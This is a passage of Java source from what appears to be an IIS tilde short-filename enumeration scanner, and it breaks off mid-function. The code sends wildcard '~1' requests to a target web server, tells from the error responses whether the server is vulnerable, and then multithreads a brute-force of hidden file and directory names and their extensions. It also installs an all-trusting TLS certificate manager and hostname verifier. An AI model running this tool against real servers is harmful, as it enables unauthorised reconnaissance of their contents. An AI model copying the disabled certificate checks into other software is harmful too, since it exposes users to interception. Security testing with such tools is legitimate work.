468 | if (isReliableResult) { 469 | System.out.println("Reliable request method was found = " + s2); 470 | System.out.println("Reliable magic part was found = " + s1); 471 | if(onlyCheckForVulnerableSite){ 472 | System.out.println(getReqCounter() + " requests have been sent to the server:"); 473 | System.out.println("\r\n<<< The target website is vulnerable! >>>"); 474 | return; 475 | }else{ 476 | boolIsQuestionMarkReliable = isQuestionMarkReliable(); 477 | if (concurrentThreads == 0) { 478 | iterateScanFileName(""); 479 | } else { 480 | scanListPurifier(); 481 | threadPool = new ThreadPool(concurrentThreads); 482 | incThreadCounter(1); 483 | threadPool.runTask(multithread_iterateScanFileName("")); 484 | } 485 | } 486 | break; 487 | } 488 | } 489 | if (isReliableResult) break; 490 | } 491 | 492 | if(!isReliableResult) 493 | System.err.println("Cannot get proper/different error messages from the server. Check the inputs and try again."); 494 | 495 | while (threadCounter != 0) { 496 | Thread.sleep(1); 497 | } 498 | threadPool.join(); 499 | System.out.println("\r\n\r\n--------- Final Result ---------"); 500 | System.out.println(getReqCounter() + " requests have been sent to the server:"); 501 | if (!finalResultsDirs.isEmpty() || !finalResultsFiles.isEmpty()) { 502 | String additionalData = ""; 503 | for (String s : finalResultsDirs) { 504 | additionalData = ""; 505 | String currentName = s; 506 | String currentExt = ""; 507 | if(s.length() - s.lastIndexOf(".") <= 3){ 508 | currentName = s.substring(0, s.lastIndexOf(".")); 509 | currentExt = s.substring(s.lastIndexOf(".")); 510 | } 511 | if (currentName.lastIndexOf("~") < 6){ 512 | if (currentName.lastIndexOf("~") == 5 && s.matches(".*(\\w\\d|\\d\\w).*")){ 513 | additionalData = " -- Possible directory name = " + s.substring(0,currentName.lastIndexOf("~")); 514 | }else{ 515 | additionalData = " -- Actual directory name = " + s.substring(0,currentName.lastIndexOf("~")); 516 | } 517 | } 518 | if (s.length() - s.lastIndexOf(".") <= 3) 519 | additionalData += " -- Actual extension = " + currentExt; 520 | 521 | System.out.println("Dir: " + s + additionalData); 522 | 523 | } 524 | 525 | for (String s : finalResultsFiles) { 526 | additionalData = ""; 527 | String currentName = s; 528 | String currentExt = ""; 529 | if(s.length() - s.lastIndexOf(".") <= 3){ 530 | currentName = s.substring(0, s.lastIndexOf(".")); 531 | currentExt = s.substring(s.lastIndexOf(".")); 532 | } 533 | if (currentName.lastIndexOf("~") < 6){ 534 | if (currentName.lastIndexOf("~") == 5 && s.matches(".*(\\w\\d|\\d\\w).*")){ 535 | additionalData = " -- Possible file name = " + s.substring(0,currentName.lastIndexOf("~")); 536 | }else{ 537 | additionalData = " -- Actual file name = " + s.substring(0,currentName.lastIndexOf("~")); 538 | } 539 | } 540 | if (s.length() - s.lastIndexOf(".") <= 3) 541 | additionalData += " -- Actual extension = " + currentExt; 542 | System.out.println("File: " + s + additionalData); 543 | } 544 | } 545 | 546 | System.out.println(); 547 | System.out.println(finalResultsDirs.size() + " Dir(s) was/were found"); 548 | System.out.println(finalResultsFiles.size() + " File(s) was/were found\r\n"); 549 | 550 | // Show message for boolIsQuestionMarkReliable 551 | if(!boolIsQuestionMarkReliable){ 552 | System.out.println("Question mark character was blocked: you may have a lot of false positives. -> manual check is needed."); 553 | } 554 | // Show message for boolIsExtensionReliable 555 | if(!boolIsExtensionReliable){ 556 | System.out.println("File extensions could not be verified. you may have false positive results. -> manual check is needed."); 557 | } 558 | 559 | // Show message when there was network error 560 | if(!boolIsNetworkReliable){ 561 | System.out.println("Some network problems were detected and the results can be unreliable. Please try again with less threads."); 562 | } 563 | 564 | } 565 | 566 | private void scanListPurifier() { 567 | try { 568 | ThreadPool localThreadPool = new ThreadPool(concurrentThreads); 569 | for (int i = 1; i < arrayScanList.length; i++) { 570 | 571 | if(nameStartsWith.length()<6) 572 | localThreadPool.runTask(multithread_NameCharPurifier(arrayScanList[i])); 573 | 574 | if(boolIsExtensionReliable && extStartsWith.length() < 3){ 575 | localThreadPool.runTask(multithread_ExtensionCharPurifier(arrayScanList[i])); 576 | } 577 | } 578 | localThreadPool.join(); 579 | arrayScanListName=(String[])scanListName.toArray(new String[0]); 580 | if(boolIsExtensionReliable) 581 | arrayScanListExt=(String[])scanListExtension.toArray(new String[0]); 582 | } catch (Exception e) { 583 | if (debugMode) { 584 | e.printStackTrace(); 585 | } 586 | } 587 | } 588 | 589 | private Runnable multithread_NameCharPurifier(final String strInput) throws Exception { 590 | return new Runnable() { 591 | 592 | public void run() { 593 | try { 594 | String statusCode = GetStatus("/" + nameStartsWith + asteriskSymbol + strInput + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart); // Should be valid to be added to the list 595 | 596 | // when extension should start with something 597 | if(!extStartsWith.equals("")) 598 | statusCode = GetStatus("/" + nameStartsWith + asteriskSymbol + strInput + asteriskSymbol + "~1" + asteriskSymbol + "." + extStartsWith + magicFileExtension + magicFinalPart); 599 | 600 | 601 | if (statusCode.equals("404")) { 602 | statusCode = GetStatus("/1234567890" + strInput + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart); // It is obviously invalid, but some URL rewriters are sensitive against some characters! 603 | // when extension should start with something 604 | if(!magicFileExtension.equals("")) 605 | statusCode = GetStatus("/1234567890" + strInput + asteriskSymbol + "~1" + asteriskSymbol + "." + extStartsWith + magicFileExtension + magicFinalPart); // It is obviously invalid, but some URL rewriters are sensitive against some characters! 606 | 607 | if (!statusCode.equals("404")) { 608 | addValidCharToName(strInput); // Valid character - add it to the list 609 | if (debugMode) { 610 | System.out.println("Valid character in name:" + strInput); 611 | } 612 | } 613 | } 614 | } catch (Exception e) { 615 | if (debugMode) { 616 | e.printStackTrace(); 617 | } 618 | } 619 | decThreadCounter(1); 620 | } 621 | }; 622 | } 623 | 624 | private synchronized void addValidCharToName(String strInput) { 625 | scanListName.add(strInput); 626 | } 627 | 628 | private Runnable multithread_ExtensionCharPurifier(final String strInput) throws Exception { 629 | return new Runnable() { 630 | 631 | public void run() { 632 | try { 633 | String statusCode = GetStatus("/" + nameStartsWith + asteriskSymbol + "~1." + extStartsWith + asteriskSymbol + strInput + asteriskSymbol + magicFinalPart); // Should be valid to be added to the list 634 | if (statusCode.equals("404")) { 635 | statusCode = GetStatus("/" + nameStartsWith + asteriskSymbol + "~1." + asteriskSymbol + strInput + "1234567890" + magicFinalPart); // It is obviously invalid, but some URL rewriters are sensitive against some characters! 636 | if (!statusCode.equals("404")) { 637 | addValidCharToExtension(strInput); // Valid character - add it to the list 638 | if (debugMode) { 639 | System.out.println("Valid character in extension:" + strInput); 640 | } 641 | } 642 | } 643 | } catch (Exception e) { 644 | if (debugMode) { 645 | e.printStackTrace(); 646 | } 647 | } 648 | decThreadCounter(1); 649 | } 650 | }; 651 | } 652 | 653 | private synchronized void addValidCharToExtension(String strInput) { 654 | scanListExtension.add(strInput); 655 | } 656 | 657 | private Runnable multithread_iterateScanFileName(final String strInputFinal) throws Exception { 658 | return new Runnable() { 659 | 660 | public void run() { 661 | try { 662 | String strInput = strInputFinal; 663 | if(strInput.equals("") && !nameStartsWith.equals("")){ 664 | strInput = nameStartsWith; 665 | } 666 | boolean atLeastOneSuccess = false; 667 | for (int i = 0; i < arrayScanListName.length; i++) { 668 | String newStr = strInput + arrayScanListName[i]; 669 | 670 | String statusCode = ""; 671 | if(!extStartsWith.equals("")) 672 | statusCode = GetStatus("/" + newStr + magicFileName + "." + extStartsWith + magicFileExtension + magicFinalPart); 673 | else 674 | statusCode = GetStatus("/" + newStr + magicFileName + magicFinalPart); 675 | 676 | if (showProgress == 2) { 677 | String internalMessage = "\r" + marker[i % marker.length] + " " + strInput + arrayScanListName[i].toUpperCase() + "\t\t"; 678 | System.out.print(internalMessage); // To show the progress! - Just Pretty! 679 | } 680 | if (statusCode.equals("404")) { 681 | atLeastOneSuccess = true; 682 | //if(showProgress) System.out.print(internalMessage); // Print new characters to show the success! - Just Pretty! 683 | int isItLastFileName = isItLastFileName(newStr); 684 | if (isItLastFileName > 0) { 685 | // Add it to final list 686 | int counter = 1; 687 | while (statusCode.equals("404")) { 688 | String fileName = newStr + "~" + counter; 689 | // Find Extension 690 | if (isItFolder(fileName) == 1) { 691 | if (showProgress > 0) { 692 | System.out.println("\rDir: " + fileName.toUpperCase() + "\t\t"); 693 | } 694 | addValidDirToResults(fileName.toUpperCase()); 695 | } 696 | if(boolIsExtensionReliable){ 697 | fileName += "."; 698 | if(extStartsWith.length()==3){ 699 | // we have already found our file as the extension was in the config file 700 | addValidFileToResults(fileName.toUpperCase()+extStartsWith); 701 | }else{ 702 | incThreadCounter(1); 703 | threadPool.runTask(multithread_iterateScanFileExtension(fileName, "")); 704 | } 705 | statusCode = GetStatus("/" + newStr + magicFileName.replace("1", Integer.toString(++counter)) + magicFinalPart); 706 | }else{ 707 | if (showProgress > 0) 708 | System.out.println("\rFile: " + fileName.toUpperCase() + ".??? - extension cannot be found\t\t"); 709 | addValidFileToResults(fileName.toUpperCase()+".???"); 710 | statusCode = "000 Extension is not reliable"; 711 | } 712 | } 713 | if (isItLastFileName == 2) { 714 | incThreadCounter(1); 715 | threadPool.runTask(multithread_iterateScanFileName(newStr)); 716 | } 717 | } else { 718 | incThreadCounter(1); 719 | threadPool.runTask(multithread_iterateScanFileName(newStr)); 720 | } 721 | } else { 722 | // Ignore it? 723 | if(strInput.length() > 0 && strInput.equals(nameStartsWith) && atLeastOneSuccess==false && i==arrayScanList.length-1){ 724 | // We have a failure here... it should have at least found 1 item! 725 | String unFinishedString = String.format("%1s%2$"+(6-strInput.length())+ "s~?", strInput.toUpperCase(),"?????"); 726 | if (showProgress > 0) 727 | System.out.println("\rFile/Dir: " + unFinishedString + " - possible network/server problem\t\t"); 728 | addValidDirToResults(unFinishedString); 729 | } 730 | } 731 | } 732 | if (showProgress == 2) { 733 | System.out.print("\r\t\t\t\t"); 734 | } 735 | 736 | } catch (Exception e) { 737 | if (debugMode) { 738 | e.printStackTrace(); 739 | } 740 | } 741 | decThreadCounter(1); 742 | } 743 | }; 744 | } 745 | 746 | private void iterateScanFileName(String strInput) throws Exception { 747 | boolean atLeastOneSuccess = false; 748 | if(strInput.equals("") && !nameStartsWith.equals("")){ 749 | strInput = nameStartsWith; 750 | } 751 | for (int i = 1; i < arrayScanList.length; i++) { 752 | String newStr = strInput + arrayScanList[i]; 753 | 754 | String statusCode = ""; 755 | if(!extStartsWith.equals("")) 756 | statusCode = GetStatus("/" + newStr + magicFileName + "." + extStartsWith + magicFileExtension + magicFinalPart); 757 | else 758 | statusCode = GetStatus("/" + newStr + magicFileName + magicFinalPart); 759 | 760 | if (showProgress == 2) { 761 | String internalMessage = "\r" + marker[i % marker.length] + " " + strInput + arrayScanList[i].toUpperCase() + "\t\t"; 762 | System.out.print(internalMessage); // To show the progress! - Just Pretty! 763 | } 764 | if (statusCode.equals("404")) { 765 | atLeastOneSuccess = true; 766 | //if(showProgress) System.out.print(internalMessage); // Print new characters to show the success! - Just Pretty! 767 | int isItLastFileName = isItLastFileName(newStr); 768 | if (isItLastFileName > 0) { 769 | // Add it to final list 770 | int counter = 1; 771 | while (statusCode.equals("404")) { 772 | String fileName = newStr + "~" + counter; 773 | // Find Extension 774 | if (isItFolder(fileName) == 1) { 775 | if (showProgress > 0) { 776 | System.out.println("\rDir: " + fileName.toUpperCase() + "\t\t"); 777 | } 778 | addValidDirToResults(fileName.toUpperCase()); 779 | } 780 | if(boolIsExtensionReliable){ 781 | fileName += "."; 782 | if(extStartsWith.length()==3){ 783 | // we have already found our file as the extension was in the config file 784 | addValidFileToResults(fileName.toUpperCase()+extStartsWith); 785 | }else{ 786 | iterateScanFileExtension(fileName, ""); 787 | } 788 | statusCode = GetStatus("/" + newStr + magicFileName.replace("1", Integer.toString(++counter)) + magicFinalPart); 789 | }else{ 790 | if (showProgress > 0) 791 | System.out.println("\rFile: " + fileName.toUpperCase() + ".??? - extension cannot be found\t\t"); 792 | addValidFileToResults(fileName.toUpperCase()+".???"); 793 | statusCode = "000 Extension is not reliable"; 794 | } 795 | } 796 | if (isItLastFileName == 2) { 797 | iterateScanFileName(newStr); 798 | } 799 | } else { 800 | iterateScanFileName(newStr); 801 | } 802 | } else { 803 | // Ignore it? 804 | if(strInput.length() > 0 && strInput.equals(nameStartsWith) && atLeastOneSuccess==false && i==arrayScanList.length-1){ 805 | // We have a failure here... it should have at least found 1 item! 806 | String unFinishedString = String.format("%1s%2$"+(6-strInput.length())+ "s~?", strInput.toUpperCase(),"?????"); 807 | if (showProgress > 0) 808 | System.out.println("\rFile/Dir: " + unFinishedString + " - possible network/server problem\t\t"); 809 | addValidDirToResults(unFinishedString); 810 | } 811 | } 812 | } 813 | if (showProgress == 2) { 814 | System.out.print("\r\t\t\t\t"); 815 | } 816 | } 817 | 818 | private int isItLastFileName(String strInput) { 819 | int result = 1; // File is available and there is no more file 820 | if(!boolIsQuestionMarkReliable){ 821 | // we cannot use "?" for this validation... 822 | // this result will include false positives... 823 | result = 2; 824 | }else{ 825 | if (strInput.length() < 6) { 826 | try { 827 | String statusCode = GetStatus("/" + strInput + questionMarkSymbol + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart); 828 | if (statusCode.equals("404")) { 829 | result = 0; // This file is not completed 830 | statusCode = GetStatus("/" + strInput + "~1" + asteriskSymbol + magicFinalPart); 831 | if (statusCode.equals("404")) { 832 | result = 2; // This file is available but there is more as well 833 | } 834 | } 835 | } catch (Exception err) { 836 | if (debugMode) { 837 | err.printStackTrace(); 838 | } 839 | } 840 | } 841 | } 842 | return result; 843 | } 844 | 845 | private Runnable multithread_iterateScanFileExtension(final String strFilename, final String strInputFinal) throws Exception { 846 | return new Runnable() { 847 | 848 | public void run() { 849 | try { 850 | String strInput = strInputFinal; 851 | if(strInput.equals("") && !extStartsWith.equals("")){ 852 | strInput = extStartsWith; 853 | } 854 | boolean atLeastOneSuccess = false; 855 | for (int i = 0; i < arrayScanListExt.length; i++) { 856 | String newStr = ""; 857 | newStr = strInput + arrayScanListExt[i]; 858 | String statusCode = GetStatus("/" + strFilename + newStr + magicFileExtension + magicFinalPart); 859 | String internalMessage = "\r" + marker[i % marker.length] + " " + strFilename + strInput + arrayScanListExt[i].toUpperCase() + "\t\t"; 860 | if (showProgress == 2) { 861 | System.out.print(internalMessage); // To show the progress! - Just Pretty! 862 | } 863 | if (statusCode.equals("404")) { 864 | atLeastOneSuccess = true; 865 | //if(showProgress) System.out.print(internalMessage); // Print new characters to show the success! - Just Pretty! 866 | if (isItLastFileExtension(strFilename + newStr)) { 867 | // Add it to final list 868 | String fileName = strFilename + newStr; 869 | if (showProgress > 0) { 870 | System.out.println("\rFile: " + fileName.toUpperCase() + "\t\t"); 871 | } 872 | addValidFileToResults(fileName.toUpperCase()); 873 | if (newStr.length() < 3) { 874 | incThreadCounter(1); 875 | threadPool.runTask(multithread_iterateScanFileExtension(strFilename, newStr)); 876 | } 877 | } else { 878 | incThreadCounter(1); 879 | threadPool.runTask(multithread_iterateScanFileExtension(strFilename, newStr)); 880 | } 881 | } else { 882 | // Ignore it? 883 | if(strInput.length() > 0 && atLeastOneSuccess==false && i==arrayScanList.length-1){ 884 | // We have a failure here... it should have at least found 1 item! 885 | String unFinishedString = strFilename + String.format("%1s%2$"+(3-strInput.length())+"s", strInput.toUpperCase(),"??"); 886 | if (showProgress > 0) 887 | System.out.println("\rFile: " + unFinishedString + " - possible network/server problem\t\t"); 888 | addValidFileToResults(unFinishedString); 889 | } 890 | } 891 | } 892 | if (showProgress == 2) { 893 | System.out.print("\r\t\t\t\t"); 894 | } 895 | } catch (Exception e) { 896 | if (debugMode) { 897 | e.printStackTrace(); 898 | } 899 | } 900 | decThreadCounter(1); 901 | } 902 | }; 903 | } 904 | 905 | private void iterateScanFileExtension(String strFilename, String strInput) throws Exception { 906 | if(strInput.equals("") && !extStartsWith.equals("")){ 907 | strInput = extStartsWith; 908 | } 909 | boolean atLeastOneSuccess = false; 910 | for (int i = 1; i < arrayScanList.length; i++) { 911 | String newStr = ""; 912 | newStr = strInput + arrayScanList[i]; 913 | String statusCode = GetStatus("/" + strFilename + newStr + magicFileExtension + magicFinalPart); 914 | String internalMessage = "\r" + marker[i % marker.length] + " " + strFilename + strInput + arrayScanList[i].toUpperCase() + "\t\t"; 915 | if (showProgress == 2) { 916 | System.out.print(internalMessage); // To show the progress! - Just Pretty! 917 | } 918 | if (statusCode.equals("404")) { 919 | atLeastOneSuccess = true; 920 | //if(showProgress) System.out.print(internalMessage); // Print new characters to show the success! - Just Pretty! 921 | if (isItLastFileExtension(strFilename + newStr)) { 922 | // Add it to final list 923 | String fileName = strFilename + newStr; 924 | if (showProgress > 0) { 925 | System.out.println("\rFile: " + fileName.toUpperCase() + "\t\t"); 926 | } 927 | addValidFileToResults(fileName.toUpperCase()); 928 | if (newStr.length() < 3) { 929 | iterateScanFileExtension(strFilename, newStr); 930 | } 931 | } else { 932 | iterateScanFileExtension(strFilename, newStr); 933 | } 934 | } else { 935 | // Ignore it? 936 | if(strInput.length() > 0 && atLeastOneSuccess==false && i==arrayScanList.length-1){ 937 | // We have a failure here... it should have at least found 1 item! 938 | String unFinishedString = strFilename + String.format("%1s%2$"+(3-strInput.length())+"s", strInput.toUpperCase(),"??"); 939 | if (showProgress > 0) 940 | System.out.println("\rFile: " + unFinishedString + " - possible network/server problem\t\t"); 941 | addValidFileToResults(unFinishedString); 942 | } 943 | } 944 | } 945 | if (showProgress == 2) { 946 | System.out.print("\r\t\t\t\t"); 947 | } 948 | } 949 | 950 | private boolean isItLastFileExtension(String strInput) { 951 | boolean result = false; 952 | if (!boolIsExtensionReliable){ 953 | result = true; 954 | }else if (strInput.length() <= 12) { 955 | //System.out.println(strInput); 956 | int extLength = 3; // default length 957 | if (strInput.indexOf(".") > 0 && strInput.indexOf(".") != strInput.length() - 1) { 958 | String[] temp = strInput.split("\\."); 959 | if (temp[1].length() >= extLength) { 960 | result = true; 961 | } else if (GetStatus("/" + strInput + "." + asteriskSymbol + magicFinalPart).equals("404")) { 962 | result = true; 963 | } else if (!HTTPReqResponse(strInput + magicFinalPart, 0).equals(HTTPReqResponse(strInput + "xxx" + magicFinalPart, 0))) { 964 | result = true; 965 | } 966 | } 967 | if (!result) { 968 | try { 969 | String statusCode = GetStatus("/" + strInput + magicFileExtension + magicFinalPart); 970 | if (!statusCode.equals("404")) { 971 | result = true; 972 | } 973 | } catch (Exception err) { 974 | if (debugMode) { 975 | err.printStackTrace(); 976 | } 977 | //System.out.println("isItLastFileExtension() Error: " + err.toString()); 978 | } 979 | } 980 | } 981 | //System.out.println(result); 982 | return result; 983 | } 984 | 985 | private int isItFolder(String strInput) { 986 | int result = 0; // No Dir or File 987 | if (!boolIsQuestionMarkReliable){ 988 | // we cannot use "?" for validation! 989 | // too many false positives here ... 990 | result =1; 991 | }else{ 992 | try { 993 | String statusCode = GetStatus("/" + strInput + questionMarkSymbol + magicFinalPart); 994 | if (statusCode.equals("404")) { 995 | result = 1; // A directory 996 | } 997 | } catch (Exception err) { 998 | if (debugMode) { 999 | err.printStackTrace(); 1000 | } 1001 | //System.out.println("isItFolder() Error: " + err.toString()); 1002 | } 1003 | } 1004 | return result; 1005 | } 1006 | 1007 | private String GetStatus(String strAddition) { 1008 | String status = ""; 1009 | try { 1010 | if (!strAddition.startsWith("/")) { 1011 | strAddition = "/" + strAddition; 1012 | } 1013 | 1014 | strAddition = strAddition.replace("//", "/"); 1015 | 1016 | status = HTTPReqResponse(strAddition, 0); 1017 | //status = HTTPReqResponseSocket(strAddition, 0); 1018 | 1019 | if (status.equals(validStatus)) { 1020 | status = "404"; 1021 | } else { 1022 | status = "400"; 1023 | } 1024 | 1025 | } catch (Exception err) { 1026 | if (debugMode) { 1027 | err.printStackTrace(); 1028 | } 1029 | //System.out.println("GetStatus() Error: " + err.toString() + " - Status: " + status); 1030 | } 1031 | return status; 1032 | } 1033 | 1034 | 1035 | private boolean isReliable() { 1036 | boolean result = false; 1037 | try { 1038 | validStatus = HTTPReqResponse("/" + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart, 0); 1039 | int validStatusLength = validStatus.length(); 1040 | invalidStatus = HTTPReqResponse("/1234567890" + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart, 0); 1041 | int invalidStatusLength = invalidStatus.length(); 1042 | 1043 | if (!validStatus.equals(invalidStatus) && !(acceptableDifferenceLengthBetweenResponses>=0 && 1044 | Math.abs(invalidStatusLength - validStatusLength)<=acceptableDifferenceLengthBetweenResponses)) { 1045 | // We need to find the first character that is different in the comparison 1046 | 1047 | 1048 | String tempInvalidStatus1 = HTTPReqResponse("/0123456789" + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart, 0); 1049 | int tempInvalidStatus1Length = tempInvalidStatus1.length(); 1050 | 1051 | String tempInvalidStatus2 = HTTPReqResponse("/0123456789" + asteriskSymbol + "~1.1234" + asteriskSymbol + magicFinalPart, 0); 1052 | int tempInvalidStatus2Length = tempInvalidStatus2.length(); 1053 | 1054 | // If two different invalid requests lead to different responses, we cannot rely on them unless their length difference is negligible! 1055 | if (tempInvalidStatus1.equals(invalidStatus) || 1056 | (acceptableDifferenceLengthBetweenResponses>=0 && 1057 | Math.abs(invalidStatusLength - tempInvalidStatus1Length)<=acceptableDifferenceLengthBetweenResponses)) 1058 | { 1059 | 1060 | if (tempInvalidStatus2.equals(invalidStatus) || 1061 | (acceptableDifferenceLengthBetweenResponses>=0 && 1062 | Math.abs(tempInvalidStatus2Length - tempInvalidStatus1Length)<=acceptableDifferenceLengthBetweenResponses)){ 1063 | boolIsExtensionReliable = true; 1064 | }else{ 1065 | boolIsExtensionReliable = false; 1066 | if (debugMode) { 1067 | System.out.println("IsExtensionReliable = " + boolIsExtensionReliable); 1068 | } 1069 | } 1070 | result = true; 1071 | } 1072 | } 1073 | } catch (Exception err) { 1074 | if (debugMode) { 1075 | err.printStackTrace(); 1076 | } 1077 | //System.out.println("isReliable Error: " + err.toString()); 1078 | result = false; 1079 | } 1080 | if (debugMode) { 1081 | System.out.println("isReliable = " + result); 1082 | } 1083 | return result; 1084 | } 1085 | 1086 | private boolean isQuestionMarkReliable() { 1087 | boolean result = false; 1088 | try { 1089 | String initValidStatus = ""; 1090 | if (!validStatus.equals("")) 1091 | initValidStatus = validStatus; 1092 | else 1093 | initValidStatus = HTTPReqResponse("/" + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart, 0); 1094 | 1095 | String tempValidStatus = HTTPReqResponse("/?" + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart, 0); 1096 | if (initValidStatus.equals(tempValidStatus)) { 1097 | result = true; 1098 | } 1099 | } catch (Exception err) { 1100 | if (debugMode) { 1101 | err.printStackTrace(); 1102 | } 1103 | //System.out.println("isQuestionMarkReliable Error: " + err.toString()); 1104 | result = false; 1105 | } 1106 | if(result==false){ 1107 | try { 1108 | String initValidStatus = ""; 1109 | if (!validStatus.equals("")) 1110 | initValidStatus = validStatus; 1111 | else 1112 | initValidStatus = HTTPReqResponse("/" + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart, 0); 1113 | 1114 | String tempValidStatus = HTTPReqResponse("/>" + asteriskSymbol + "~1" + asteriskSymbol + magicFinalPart, 0); 1115 | if (initValidStatus.equals(tempValidStatus)) { 1116 | result = true; 1117 | questionMarkSymbol = ">"; 1118 | } 1119 | } catch (Exception err) { 1120 | if (debugMode) { 1121 | err.printStackTrace(); 1122 | } 1123 | //System.out.println("isQuestionMarkReliable Error: " + err.toString()); 1124 | result = false; 1125 | } 1126 | } 1127 | if (debugMode) { 1128 | System.out.println("isQuestionMarkReliable = " + result); 1129 | } 1130 | return result; 1131 | } 1132 | 1133 | // http://nadeausoftware.com/node/73 1134 | private String HTTPReqResponse(String strAddition, int retryTimes) { 1135 | String finalResponse = ""; 1136 | String charset = null; 1137 | Object content = null; 1138 | HttpURLConnection conn = null; 1139 | incReqCounter(1); 1140 | try { 1141 | // Create a trust manager that does not validate certificate chains 1142 | TrustManager[] trustAllCerts = new TrustManager[]{ 1143 | new X509TrustManager() { 1144 | 1145 | public java.security.cert.X509Certificate[] getAcceptedIssuers() { 1146 | return null; 1147 | } 1148 | 1149 | public void checkClientTrusted( 1150 | java.security.cert.X509Certificate[] certs, String authType) { 1151 | } 1152 | 1153 | public void checkServerTrusted( 1154 | java.security.cert.X509Certificate[] certs, String authType) { 1155 | } 1156 | } 1157 | }; 1158 | 1159 | // Install the all-trusting trust manager 1160 | try { 1161 | SSLContext sc = SSLContext.getInstance("SSL"); 1162 | sc.init(null, trustAllCerts, new java.security.SecureRandom()); 1163 | HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); 1164 | } catch (Exception e) { 1165 | } 1166 | 1167 | HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { 1168 | 1169 | public boolean verify(String string, SSLSession ssls) { 1170 | return true; 1171 | } 1172 | }); 1173 | 1174 | // removing additional slash character! 1175 | if(strAddition.startsWith("/") && destURL.endsWith("/")){ 1176 | strAddition = strAddition.substring(1); 1177 | } 1178 | 1179 | String urlEncodedStrAddition = URLEncoder.encode(strAddition, "UTF-8"); 1180 | urlEncodedStrAddition = urlEncodedStrAddition.replace("*","%2A"); // Java does not encode asterisk character 1181 | URL finalURL = new URL(destURL + urlEncodedStrAddition + additionalQuery); 1182 | 1183 | if(!proxyServerName.equals("") && !proxyServerPort.equals("")){ 1184 | // Use the proxy server to sends the requests 1185 | conn = (HttpURLConnection) finalURL.openConnection(proxy); 1186 | }else{ 1187 | conn = (HttpURLConnection) finalURL.openConnection(); 1188 | } 1189 | 1190 | conn.setConnectTimeout(maxConnectionTimeOut); // 10 sec 1191 | conn.setReadTimeout(maxConnectionTimeOut); // 10 sec 1192 | conn.setInstanceFollowRedirects(false); 1193 | if (!customUserAgent.equals("")) { 1194 | conn.setRequestProperty("User-agent", customUserAgent); 1195 | } 1196 | if (!customCookie.equals("")) { 1197 | conn.setRequestProperty("Cookie", customCookie); 1198 | } 1199 | 1200 | for(String newHeader:additionalHeaders){ 1201 | conn.setRequestProperty(newHeader.split(":")[0], newHeader.split(":")[1]); 1202 | } 1203 | 1204 | // Set the request method! 1205 | // conn.setRequestMethod(reliableRequestMethod); 1206 | setRequestMethodUsingWorkaroundForJREBug(conn,reliableRequestMethod); 1207 | 1208 | int length = 0; 1209 | String responseHeaderStatus = ""; 1210 | 1211 | try { 1212 | // Send the request. 1213 | conn.connect(); 1214 | Thread.sleep(maxDelayAfterEachRequest); // Delay after each request 1215 | 1216 | // Get the response. 1217 | responseHeaderStatus = conn.getHeaderField(0); 1218 | 1219 | length = conn.getContentLength(); 1220 | 1221 | content = conn.getContent(); 1222 | }catch(java.net.ConnectException e){ 1223 | 1224 | if(concurrentThreads>10){ 1225 | concurrentThreads = 10; 1226 | }else if(concurrentThreads>5){ 1227 | concurrentThreads = 5; 1228 | }else if(concurrentThreads>1){ 1229 | concurrentThreads = 1; 1230 | } 1231 | 1232 | boolIsNetworkReliable = false; 1233 | Thread.sleep(sleepTime*1000); 1234 | if(sleepTime<10) 1235 | sleepTime++; 1236 | 1237 | if (showProgress==2 || debugMode) { 1238 | //System.err.println("Error: Connection error. Please check the protocol, the domain name, or the proxy server."); 1239 | System.err.println("Number of threads should be reduced - can be too late but reduced to:" + concurrentThreads); 1240 | System.err.println("Sleep for "+sleepTime+" seconds..."); 1241 | throw new Exception("Error: Connection error. Please check the protocol, the domain name, or the proxy server."); 1242 | } 1243 | 1244 | } catch (Exception e) { 1245 | if(responseHeaderStatus == null){ 1246 | //time-out 1247 | throw new Exception("Time-Out was detected..."); 1248 | }else{ 1249 | //400 errors? we like 400 errors! 1250 | if (debugMode) { 1251 | //e.printStackTrace(); 1252 | } 1253 | } 1254 | } 1255 | 1256 | final java.io.InputStream stream = conn.getErrorStream(); 1257 | 1258 | charset = "utf-8"; 1259 | // Get the content. 1260 | 1261 | if (stream != null && length > -1) { 1262 | content = readStream(length, stream, charset); 1263 | stream.close(); 1264 | } else if (content != null && content instanceof java.io.InputStream && length > -1) { 1265 | content = readStream(length, (java.io.InputStream) content, charset); 1266 | } 1267 | 1268 | //conn.disconnect(); 1269 | 1270 | if (content == null) { 1271 | finalResponse = ""; 1272 | } else { 1273 | finalResponse = content.toString(); 1274 | finalResponse = finalResponse.toLowerCase(); 1275 | finalResponse = finalResponse.replaceAll("\\\\", "/"); 1276 | strAddition = strAddition.replaceAll("\\\\", "/"); 1277 | strAddition = strAddition.toLowerCase(); 1278 | String[] temp = strAddition.split("/"); 1279 | for (int i = 0; i < temp.length; i++) { 1280 | if (temp[i].length() > 0) { 1281 | while (finalResponse.indexOf(temp[i]) > 0) { 1282 | finalResponse = finalResponse.replace(temp[i], ""); 1283 | } 1284 | } 1285 | } 1286 | finalResponse = finalResponse.replaceAll("(?im)(([\\n\\r\\x00]+)|((server error in).+>)|((physical path).+>)|((requested url).+>)|((handler<).+>)|((notification<).+>)|(\\://[a-zA-Z0-9\\-\\.]+\\.[a-zA-Z]{2,3}(/\\S*)?)|()|((content-type)[\\s\\:\\=]+[\\w \\d\\=\\[\\,\\:\\-\\/\\;]*)|((length)[\\s\\:\\=]+[\\w \\d\\=\\[\\,\\:\\-\\/\\;]*)|((tag|p3p|expires|date|age|modified|cookie)[\\s\\:\\=]+[^\\r\\n]*)|([\\:\\-\\/\\ ]\\d{1,4})|(: [\\w\\d, :;=/]+\\W)|(^[\\w\\d, :;=/]+\\W$)|(\\d{1,4}[\\:\\-\\/\\ ]\\d{1,4}))", ""); 1287 | 1288 | finalResponse = responseHeaderStatus.toString() + finalResponse; 1289 | 1290 | } 1291 | } catch (BindException bindException) { 1292 | try { 1293 | if (conn != null) { 1294 | conn.disconnect(); 1295 | } 1296 | if (showProgress == 2 || debugMode) { 1297 | 